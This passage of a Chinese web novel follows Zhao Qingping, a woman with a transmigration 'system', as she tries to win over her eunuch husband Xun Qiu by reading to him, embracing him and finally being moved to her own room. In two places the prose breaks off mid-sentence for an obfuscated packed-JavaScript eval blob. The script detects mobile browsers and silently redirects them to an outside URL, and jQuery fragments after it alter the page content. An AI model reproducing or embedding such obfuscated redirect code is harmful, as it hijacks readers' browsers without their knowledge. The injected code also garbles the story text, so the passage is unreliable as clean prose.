随后又弯腰在地上捡起了一缕碎发,他看着手里自己亲手斩断的头发,如此柔软地依附在自己的手心。 “结发为夫妻,恩爱两不疑。”① 荀秋弯腰把手里的发丝递到赵青萍面前,赵青萍从他手里接过发丝,扭过头疑惑地看着他。“赵青萍,你是陛下赏赐给我的妻子,我不会杀你。但是从今以后你就是我的人,我会牢牢把你困在身边,等到将来我要下地狱的时候拉上你和我作伴。” 他的声音还是冷冰冰的,彻骨的杀意却不见了。赵青萍心中感慨,荀秋真的放弃杀她了。 “老爷,到府上了。”车外传来孙昊的声音。 荀秋闻声便准备下车,赵青萍上前拉住他的衣袖,“荀秋,我会一直陪着你的。” 荀秋闻声一滞,随后从她手里扯掉了衣袖快步下了马车。 回到府上,荀秋依旧去书房看书,赵青萍洗漱一番便早早睡去。 10. 读书 翌日赵青萍睡得正香就被荀秋捏住她的脸叫醒。两人一同吃过早饭后荀秋进了书房读书。赵青萍无事可做,睡了一个回笼觉后和小彩两人研究了半天发髻的梳法。 “夫人,你的头发怎么短了一截?”小彩手里拿着梳子,惊讶地问赵青萍。 赵青萍把头发拢到胸前,见果然有缕头发短了一截,那是昨晚荀秋拿匕首给她削去的。她却不能跟小彩照实说,便道:“结发夫妻你知道吧,这是我和老爷两个人结发为契才拿剪刀绞的。” 小彩知道夫妻新婚结发的习俗,只是没想到夫人和老爷的感情这么好。小彩利落地赵青萍梳了一个牡丹头,赵青萍看着自己头上繁复的发髻,也不甘示弱地给小彩梳了个十字髻。只是赵青萍许久没梳过这个发髻,反复折腾半天才梳好。等她梳完,转眼已经到了午饭时间。 “夫人,老爷已经在饭厅等你了。”元一进来对她禀报道。 “老爷今日在府中吗?”赵青萍还以为荀秋去了宫里当值。她一个早上都没在家中看到他的人影。 “老爷上午一直在书房里头。”元一道。 赵青萍点点头,想起早上荀秋确实没穿平时的红色太监服。起身去了饭厅,荀秋已经在桌前坐定。他穿了一件竹青色的直裰,头上簪着素净的白玉簪,倒是显出几分翩翩佳公子的意思。 “妾身见过老爷。”赵青萍朝他行礼。 荀秋扭过头看了她一眼,见她头上梳的牡丹头和簪的各类毫无搭配的发饰,他不禁嗤笑出声。 “夫人这个打扮,真是别具一格。” 赵青萍听出他话里头的讽刺,她也知道她今天的发髻有些夸张,可是她当时答应了小彩随她怎么装扮,自然是不能够反悔的,左右她今天又不去哪里。 赵青萍佯装得意地摸摸自己的发髻,掩嘴笑道:“夫君果然能懂妾身的心思,这是妾身知道夫君今日在家特意让小彩帮妾身梳的。头上的发簪都是夫君送给妾身的,夫君送的发簪妾身都喜欢得紧,不好取舍,索性都簪在了头上。夫君要是喜欢妾身这个装扮,妾身以后日日这般打扮。” “不必了,过来吃饭。”荀秋冷声道。这个赵青萍今日真是话多得很。 看他冷下脸去,赵青萍心里头开心。拉过椅子,坐下来愉快地开始吃饭。赵青萍怕荀秋又给她夹些肥肉,所以现在饭桌上她都安安静静地吃自己的饭。 吃了两碗饭,赵青萍端着一碗鱼汤慢悠悠地喝,正当她思考着自己下午要做些什么时,系统说话了。 “温馨提醒,与攻略对象多接触多陪伴可以更快增加爱意值。请宿主抓住和荀秋的每一次相处。” 好吧,她差点都忘了她的头等大事是攻略荀秋。赵青萍搁下手里的碗,起身给荀秋舀了一碗鱼汤,“夫君下午要做些什么?” 荀秋掀起眼皮冷冷看她一眼没有说话,赵青萍尴尬地把汤放在他的面前。 荀秋身后的宝全见两人之间气氛有些紧张,有意缓和一下,开口道:“老爷下午也在书房。” 赵青萍闻言朝宝全微微一笑。荀秋没有说话,搁下手里的筷子,拿手帕擦过嘴扔给宝全后就起身朝外头走去。赵青萍见状赶紧起身快走两步拉住他的衣袖。 “夫君,妾身也想要去书房陪你。” 荀秋垂目看到赵青萍拉扯自己的衣袖,双眉紧蹙,不满地瘪嘴。赵青萍看他嫌恶的样子连忙松开自己的手,又轻柔地把自己抓皱的地方拍打平整。 赵青萍脸上的微笑不减,见他不理自己又柔声地唤他:“夫君。” “你真的想要陪我?”荀秋问他。 见荀秋肯松口,赵青萍肯定地点点头。 “好吧,为夫正好缺一个研磨的,那就辛苦夫人来为为夫研磨了。” “不辛苦,不辛苦,能为夫君研磨,妾身求之不得。”赵青萍讨好道。她虽然兴趣来了写几个毛笔字用的都是市场埋卖的调配好的墨汁,可原身小时候是个请女先生教导过的小姐,研磨这些写字的基本功,她也是会的。 赵青萍信心满怀地跟着荀秋来到了书房,连续磨了半个时辰的墨后,赵青萍后悔了。她就该知道荀秋心里憋着坏,都怪自己太心急才着了他的道。赵青萍的手已经酸得不行,她磨好的墨汁都被宝全拿来分装到小瓷瓶里,荀秋在一旁陶醉地读书,根本没有要写字的意思。在宝全装好第十二瓶墨汁的时候,赵青萍放下了手里的墨条。 宝全抬头看着她,赵青萍苦笑着朝他指指自己的酸痛的手腕。宝全朝她同情地点头,夫人连续磨了这么久的确会累,他也不明白老爷为什么要让夫人研磨给府里下人练字用的墨汁。他招呼元二把装好墨汁的瓷瓶拿走,又去外头拿过浸湿的巾帕给赵青萍擦手。 荀秋撇过头看了他们一眼,没有说话,仍旧继续读书。 孙昊给荀秋端来新沏的茶,赵青萍连忙走到他身边接过,“我来吧。” 孙昊顿了顿瞥了一眼荀秋,见对方没有什么意见才把手头的托盘交给她。 宝全知道老爷素来喜静,现在有夫人陪着,且不用他们在这里杵着,就都招呼屋里的人出去。一时间屋里只剩下荀秋和赵青萍二人。 赵青萍把茶碗放到书案上,荀秋没有任何反应仍旧看书。孙昊给赵青萍也端了一碗茶,赵青萍端起来喝了一口,齿颊留香,比她生平以来喝过的茶都要好喝。 赵青萍又喝了两口,心里感叹荀秋还当真会享受。搁下茶碗,赵青萍无聊地抬眼环视荀秋的书房,目之所及全是满满登登的书。屋里右边靠墙的五组大书架上都塞满了书,荀秋坐的书案对面的两个亮格柜上也放的不是古玩,都是些成套的书籍。赵青萍也做过有一个家庭图书馆的美梦,如今看向荀秋的这个书房满眼都是羡慕。 荀秋抬头看了一眼赵青萍,见她眼里流露出的对他书房的喜欢让他有些意外。他撇撇嘴又要低头看自己手里的书时,赵青萍回过头刚好对上他的目光。 “夫君,我给你读书好不好?”赵青萍凑到他面前问他。他们两人就这样干巴巴地待在书房,待上十天也不可能有什么进展,还是需要增加一些互动,赵青萍觉得读书恰好是一种十分和谐的互动。 “夫人,你当真想要给为夫读书?”荀秋微蹙着眉问她。 “当然,夫君看了这么久的书想必也看累了,妾身也是识的字的,就让妾身给夫君读上几页。”赵青萍说完就准备伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516366|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去拿荀秋手里的那本《棠阴比事》,荀秋却抽回手把手里的书放到了另一边。赵青萍不满地看着她,“夫君不是同意了吗?” 荀秋看她皱起眉头,笑着点点头,指着书架旁的一个黄花梨木书箱,道:“里头是这个月才送到府上的新书,你从那里头挑一本给为夫读。” 赵青萍顺着他手指方向看过去,确实有一个书箱,她走过去,发现里头大大小小放着十几册书。书的内容丰富多样,有时人出的文集诗集,有工艺农桑之类的专业性书籍,还有几本新刊印的话本。赵青萍只对话本感兴趣,便挑了其中一本封面上画着一座高塔的《翠云楼记》,作者是放鹤山人,原身的印象里似乎还听过这个作者的大名,赵青萍一时对这本书也有些兴趣。 赵青萍把选好的书放在荀秋的书案上,又去外头搬了一把椅子放到书案旁边。 荀秋抬眼看了一下赵青萍选的书,瞥见著者正是当朝专门写香艳话本的行家放鹤山人,他向来不看这类书,可能是书铺的掌柜给他不小心装进去了。他不知道赵青萍选这本书到底是有意还是无意,他倒要看看一会儿她好不好意思在他面前读下去。 赵青萍拿过书,坐下来开始从头读起。前两页都还是普通的内容,讲一个小姐外出踏青在湖边的翠云楼里遇到一个书生,两人因为小姐掉落的荷包结识。结果从第三页起书中的内容就朝着赵青萍没有想过的方向发展,小姐和书生才认识不到一天就躲着丫鬟跑到翠云楼的顶楼开始做些不可描述的事情。 “容君衣衫尽褪……” 赵青萍看着后面香艳的内容实在不好意思读出口,她没想到这个时代的人远远超过了她的思想开放程度,这样的书籍也能够堂而皇之地刊印出来售卖。 荀秋抬眼看赵青萍的脸害羞地飞起红霞,看起来倒比她平时故意装出来的风情更加妩媚。他伸出指头在书案上轻叩,“夫人怎么不读下去了?容君小姐和书生接下来要做些什么,为夫真是好生好奇。” 赵青萍抬眼看见荀秋眼里摆明都是对她的挑衅,他哪里是对剧情好奇,他分明是对她挑了这么一本书不好意思读下去的嘲讽。赵青萍的确觉得书里的文字读出声有些羞耻,不过既然他这个听者想听,那她也会尽力满足他。 赵青萍起身,拿起书走到荀秋的面前,弯腰凑到荀秋的耳边,拖出一副软绵绵的声调:“夫君想听,妾身接着读就是了。” 看着荀秋飞速泛红的耳根,赵青萍在心里偷笑。轻声咳了声,起身继续读起书里的内容。为了气荀秋,故意把里头本就羞耻的话说得更加缠绵。 “容君素手抚上书生的脸庞,眼神迷离,口中娇声不止……” “够了!”荀秋冷声道。他早该知道赵青萍是个不知廉耻的,一个连角先生都不避讳的女子,读这样的香艳话本又怎么会感到羞耻。 赵青萍见荀秋主动喊停,她便扭头把手里的书搁回书箱。想到荀秋方才吃瘪的样子,掩嘴在书箱前嗤嗤地笑起来。她尽量让自己不笑出声,可是笑得太开心还是有几声笑声飘到了荀秋的耳朵里。 荀秋冷冷看着蹲在书箱前面背对着她笑得开怀的赵青萍,他冷哼一声,这个赵青萍简直无法无天了。 11. 分房睡 赵青萍笑了许久,起身看荀秋又在看那本《棠阴比事》,神情十分投入。她突然不想折腾他了,便在荀秋的书架前独自浏览起来。荀秋的藏书很丰富,而且大部分的书上都还有他做过的笔记。赵青萍原来以为爱读书是他的一个人设,现在发现人家是真的喜欢。赵青萍对自己的狭隘在心里对荀秋说了一声抱歉。 走到最靠近墙的一个书架上,赵青萍发现了一个樟木盒子里头放着厚厚一沓写满字的纸,她拿起来一看发现都是荀秋自己做的近些年科举的试题。宣纸上密密麻麻的字都是荀秋用心一笔一划写下来的。里头的每道策论题都能看出荀秋对于时政的思考。赵青萍突然觉得自己手里的宣纸很沉,她望向书案前认真读书的荀秋突然明白了恨意的根源。 他曾经想科举取士,如今却成为了一个太监,踏入宫门的那一刻他跟科举就再没有了关系,他哪怕如今身居高位也没有办法得到世人的承认,只因他是一个太监。 荀秋早就发现赵青萍在书架面前翻看自己的书籍,他没有可不示人的东西,所以也没有阻止她。看她朝自己投来惋惜的眼神又想到自己放在那架书架上的东西,荀秋感受到一种冒犯。赵青萍怎么有资格来可怜他。 他把手里的书重重摔在书案上,起身大步流星地走出了书房。 荀秋摔书的声音把她吓了一跳,赵青萍不明白他哪里来的火气,她把手里试卷放回去,也迈步走出了书房。 出了书房没见到荀秋的身影,赵青萍问等在书房门口的小彩:“老爷去哪儿了?” “往前院去了。” 赵青萍点点头,转身往卧房的方向去,头上的发簪太多,压得她有些头痛。 小彩帮她拆发髻的时候问她,“夫人,我瞧着老爷方才从书房里头出来很生气的样子。” “是啊,他突然就生气了,我也不知道为什么。” 直到晚饭的时候在饭厅又见到荀秋的身影,赵青萍才反应过来荀秋生气定然是因为自己看到了他做的科举试题。想想也是,荀秋本来放在书房最里头的位置就是不想让人知道,她不仅去看了,还大摇大摆地拿在手里。她一时对自己也感觉无语了。 两人晚饭吃得很安静,荀秋吃完饭后又去书房,临走前还特意问了赵青萍:“夫人晚上还要去书房接着给为夫读书吗?” 赵青萍想起自己看他试题的事还有些抱歉,她不好意思地笑笑:“夫君,我真的不是故意的,你不要生气了。” 荀秋立马明白她说的是什么,睨了她一眼,甩袖往外头去了。 赵青萍无奈地叹了口气,这个太监的心思真难猜。赵青萍回到卧房和小彩两人聊天。正聊着要不要把汪忠送的那尊送子观音拿去当掉的话题,系统却突然播报: “恭喜宿主,爱意值加一,攻略进度目前为2%,请宿主继续加油。” 赵青萍被突然增加的爱意值搞晕了,她在这里什么都没做,爱意值居然还能增长。还是说是她刚才对荀秋的道歉起了作用,荀秋感受到她的真心,所以对她多了这一点的好感? 书房里头,宝全正在收拾书铺送来的新书。 “宝全,把那本《翠云楼记》给夫人送过去。” 宝全正愁这本书放在哪里好,听到荀秋的吩咐,立马起身出门把书送到了赵青萍的手里。 “老爷要给我的?”看着手里的书,赵青萍有些摸不准荀秋的意思,把书随手搁在梳妆台上。却想起了一个问题,她问宝全:“老爷书房里的书都是在哪里采买的?”她在府里终日无事也想去买些书回来看。 “回夫人,老爷的书多半都是在京城里头最大的墨香书坊买的,那书坊在洗墨街上。我跟书坊说好了每个月都会把他们店里头新出的书给我们府上送一份,夫人要是想要去书坊买书,挂府上的帐就好,到时候会一并结算的。” “好,我知道了。” 晚上洗漱过后,赵青萍躺在小榻上准备睡觉。她都快要进入梦乡,系统突然发布任务:“宿主你好,请在一个小时内和攻略对象荀秋拥抱。任务成功的奖励为一个爱意值,倒计时现在开始。” 赵青萍睡得迷迷糊糊的脑子立马清醒过来,她伸出自己的左手,看见跳动的红色数字,她烦躁地把被子拉过头顶。她都要睡觉了,系统还要给她发布任务。荀秋还在书房,她现在衣衫不整地跑进书房拥抱对方也太让人奇怪了。 荀秋从书房回来就看到赵青萍蒙着被子的样子,他冷笑道:“夫人,你不怕把自己给憋死了?” 听到荀秋的声音,赵青萍突然觉得这次的系统任务还是仁慈。赵青萍把被子从自己头顶拉下来,露出一张龇着牙的笑脸,“夫君,你回来啦?” 看到赵青萍的头发蓬乱的盖在她的脸上,荀秋嫌弃地撇撇嘴,没搭理她径直去了浴房。赵青萍本来是打算立马起身拥抱他的,见他进了浴房只好作罢。主要是她现在还没准备好要看荀秋光溜溜的样子,她也相信她要是敢冲进浴房,荀秋这个死太监肯定会把她给扔出去。 看了眼手心的倒计时,时间很充沛,她可以耐心地等荀秋出来。赵青萍起身给自己倒了杯水喝,经过梳妆台瞥见了宝全送过来的《翠云楼记》,她等得无聊,索性就把书拿到小榻上继续看。 没想到一看就入了迷,书中不可描述的地方很多,小姐和书生在所有能想到不能想到的地方都能进行一些令人面红耳赤的活动。然而两人的爱情背后其实有着一个巨大的阴谋,作者在每一章回后面都留着一个关于阴谋的钩子,赵青萍不知不觉就一章章看下去,看得不可自拔。 荀秋从浴房出来看到赵青萍坐在小榻上拿着《翠云楼记》看得如痴如醉,看来他让宝全送她这本书还真的送对了。荀秋冷冷乜了她一眼,转身回了自己里头的卧房,从面盆架上拿布巾擦手的时候不小心碰到面盆架上的铜盆。 听到咣当一声的声响,赵青萍才回过神来。想起自己的任务,她伸手看了眼自己的手心。 00:00:30 她什么也来不及想,扔掉手里的书,以百米冲刺的速度从小榻上起身,穿过隔屏,跑到面盆架前一把紧紧抱住了荀秋。 “恭喜宿主,任务完成,爱意值加一,目前攻略进度为3%,请继续加油。” 任务卡点完成,赵青萍心里头松了一口气。 “赵青萍,你撒开手!”荀秋朝她吼道。她方才看《翠云楼记》看得那样痴迷,现在又这样衣衫不整,连鞋都没穿就跑到他的面前,她心里想的那点龌龊的事他看得分明。他是一个不能人道的太监,赵青萍竟然对这样的他也想下手,这个女人,太不知廉耻。 听到荀秋的怒吼,赵青萍不好意思地抬头朝他笑笑,接着才松开了自己环抱住他腰的手。 “夫君,妾身就是突然很想抱你。”她解释道。 看着她嬉皮笑脸的样子,荀秋心里的怒意更甚,他伸手捏住赵青萍的下巴,盯着她笑意盈盈的双眼冷声道;“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516367|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵青萍,我是一个太监,你不要在我身上白费心思。”说完便用力地把赵青萍推开。 她当然知道他是一个太监,这个事实荀秋干嘛还要和她重提一遍。赵青萍觉得胸口有些凉,低头一看发现自己寝衣的衣带不知何时松了,里头穿的丁香色绣鸳鸯的肚兜漏了一小半出来。她尴尬地整理自己的衣襟,她方才着急完成任务的模样,荀秋这个死太监不会以为她是看了香艳话本欲求不满跑过来跟他求欢吧。 虽然说她的攻略任务就是让荀秋爱上自己,可是她也还没有做好和荀秋发生小姐和书生那样的事。荀秋这个太监还挺自恋的,担心自己要对他不轨,那她就要让他看看自己不要脸的手段。 荀秋见赵青萍还楞在原地不走,他也不再搭理对方,吹熄了里间的两个烛台,径直回到床上躺下准备睡觉。 赵青萍嗤笑两声,走到床边拨开床帐,半个身子就躺到了荀秋的旁边。 黑暗中赵青萍摸索到了荀秋的脸,用手在他脸上摩挲,用她认为最妩媚的声音朝着荀秋说道:“夫君,我们何时才能做一对真实的夫妻啊,就像小姐和书生一样。” “滚!”荀秋愤怒地从床上起身,又朝外头大喊:“来人!” 门外的宝全见荀秋睡下正要回去睡觉,听到荀秋叫他,立马开门进屋,没有看到赵青萍在小榻上睡觉,宝全不由自主把眼神看向里头的床帐。看到床上朦胧的身影,他明白夫人在老爷的床上赶紧低下头。 “老爷有什么吩咐?” 荀秋瞥了一眼还在自己床上的赵青萍,冷声道:“夫人从今天起搬到西厢房去。现在你就让人把夫人的东西全数给我搬走。” “啊?”宝全有些不解,抬头望向荀秋,吃饭那会儿他们夫妻俩都好好的,怎么忽然就要分房睡。 荀秋瞪他一眼,“照我说的做。” “是是是,老奴这就去吩咐。”宝全赶紧低下头出门去找人帮忙搬东西。 赵青萍没有想到自己用来恶心荀秋的这招还能让荀秋开口让她从这里搬出去。她高兴地简直想要在荀秋的床上打滚。 随着下人进进出出,赵青萍的东西慢慢地都被搬出荀秋的卧房。赵青萍突然想起自己身上没有外衣,连绣鞋也没有穿过来。她把脑袋露出床帐,讪讪道:“夫君能把我的鞋子和衣裳拿过来吗?” 荀秋扭过头瞪了她一眼,还是迈步去外间帮她拿来了衣裳和鞋子。 接过荀秋扔过来的衣裳,赵青萍满脸堆笑,“夫君对妾身真好。” “赵青萍我劝你不要一再地挑衅我。”荀秋冷声道。 “不敢不敢,妾身哪里舍得惹夫君生气啊。”赵青萍缩回床帐里,三两下穿好了衣裳,起身穿上了绣鞋,对荀秋道:“夫君,那你早点休息,妾身就不打扰了。”她已经迫不及待要去看自己的新房间了。 荀秋上下打量她一眼,又朝着外头喊道:“来人,过来把床上的被褥全给我换一套。” 赵青萍乐乐呵呵去了西厢房,荀府下人的手脚很快,等她过来西厢房已经打扫得七七八八了。 小彩给她铺着被褥,见她过来忙停下手里的活计跑过来问她:“夫人怎么突然和老爷分房了?” 赵青萍摸摸小彩的头发,笑道:“因为夫人我要做西厢房的山大王了。”赵青萍在屋子东看看西摸摸,西厢房是两间打通的一间,她的房间比荀秋的卧房还要大,赵青萍高兴地叉着腰笑,太好了,她终于有自己的房间了。